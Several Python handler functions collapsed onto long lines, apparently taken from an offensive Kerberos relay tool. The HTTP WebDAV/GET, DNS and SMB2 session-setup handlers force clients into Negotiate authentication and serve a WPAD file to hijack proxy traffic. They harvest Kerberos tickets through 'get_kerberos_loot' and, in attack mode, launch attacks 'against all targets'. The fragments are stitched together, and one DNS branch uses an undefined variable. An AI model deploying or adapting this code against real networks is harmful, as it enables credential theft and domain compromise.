def do_PROPFIND(self): proxy = False if (".jpg" in self.path) or (".JPG" in self.path): content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>""" else: content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>""" messageType = 0 if PY2: autorizationHeader = self.headers.getheader('Authorization') else: autorizationHeader = self.headers.get('Authorization') if autorizationHeader is None: self.do_AUTHHEAD(message=b'Negotiate') return else: auth_header = autorizationHeader try: _, blob = auth_header.split('Negotiate') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) return if b'NTLMSSP' in token: LOG.info( 'HTTPD: Client %s is using NTLM authentication instead of Kerberos' % self.client_address[0]) return # If you're looking for the magic, it's in lib/utils/kerberos.py authdata = get_kerberos_loot(token, self.server.config) # If we are here, it was succesful # Are we in attack mode? If so, launch attack against all targets if self.server.config.mode == 'ATTACK': self.do_attack(authdata) self.send_response(207, "Multi-Status") self.send_header('Content-Type', 'application/xml') self.send_header('Content-Length', str(len(content))) self.end_headers() self.wfile.write(content)
def handle(self): data = self.request.recv(1024) dlen, = unpack('>H', data[:2]) while dlen > len(data[2:]): data += self.request.recv(1024) dnsp = data[2:dlen + 2] LOG.info('DNS: Client sent authorization') pckt = from_wire(dnsp) LOG.debug(str(pckt)) nti = None for rd in pckt.additional[0]: nti = rd.key if not nti: return if self.server.config.mode == 'RELAY': authdata = get_auth_data(nti, self.server.config) self.do_relay(authdata) else: # Unconstrained delegation mode authdata = get_kerberos_loot(token, self.server.config) self.do_attack(authdata)
def do_GET(self): messageType = 0 if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() return LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) # Serve WPAD if: # - The client requests it # - A WPAD host was provided in the command line options # - The client has not exceeded the wpad_auth_num threshold yet if self.path.lower( ) == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad( self.client_address[0]): LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) self.serve_wpad() return # Determine if the user is connecting to our server directly or attempts to use it as a proxy if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): proxy = True else: proxy = False # TODO: Handle authentication that isn't complete the first time if (proxy and self.getheader('Proxy-Authorization') is None) or ( not proxy and self.getheader('Authorization') is None): self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) return else: if proxy: auth_header = self.getheader('Proxy-Authorization') else: auth_header = self.getheader('Authorization') try: _, blob = auth_header.split('Negotiate') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) return if b'NTLMSSP' in token: LOG.info( 'HTTPD: Client %s is using NTLM authentication instead of Kerberos' % self.client_address[0]) return # If you're looking for the magic, it's in lib/utils/kerberos.py authdata = get_kerberos_loot(token, self.server.config) # If we are here, it was succesful # Are we in attack mode? If so, launch attack against all targets if self.server.config.mode == 'ATTACK': self.do_attack(authdata) # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'Negotiate') self.send_header('Content-type', 'text/html') self.send_header('Content-Length', '0') self.send_header('Connection', 'close') self.end_headers() return
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B',securityBlob[0])[0] == ASN1_AID: # negTokenInit packet try: blob = decoder.decode(securityBlob, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] token = blob['innerContextToken']['negTokenInit']['mechToken'] if len(blob['innerContextToken']['negTokenInit']['mechTypes']) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['innerContextToken']['negTokenInit']['mechTypes'][0] if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \ TypesMech['MS KRB5 - Microsoft Kerberos 5']: # Nope, do we know it? if MechTypes.has_key(str(mechType)): mechStr = MechTypes[str(mechType)] else: mechStr = mechType smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support Kerberos. respToken = NegotiationToken() respToken['negTokenResp']['negResult'] = 'request_mic' respToken['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5'] respTokenData = encoder.encode(respToken) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respTokenData) respSMBCommand['Buffer'] = respTokenData return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED else: # This is Kerberos, we can do something with this try: # If you're looking for the magic, it's in lib/utils/kerberos.py authdata = get_kerberos_loot(securityBlob, self.config) # If we are here, it was succesful # Are we in attack mode? If so, launch attack against all targets if self.config.mode == 'ATTACK': self.do_attack(authdata) # This ignores all signing stuff # causes connection resets # Todo: reply properly! respToken = NegotiationToken() # accept-completed respToken['negTokenResp']['negResult'] = 'accept_completed' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = encoder.encode(respToken) smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, STATUS_SUCCESS # Somehow the function above catches all exceptions and hides them # which is pretty annoying except Exception, e: import traceback traceback.print_exc() raise pass except: import traceback traceback.print_exc() else: # No GSSAPI stuff, we can't do anything with this smbServer.log("No negTokenInit sent by client", logging.CRITICAL) raise Exception('No negTokenInit sent by client') respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode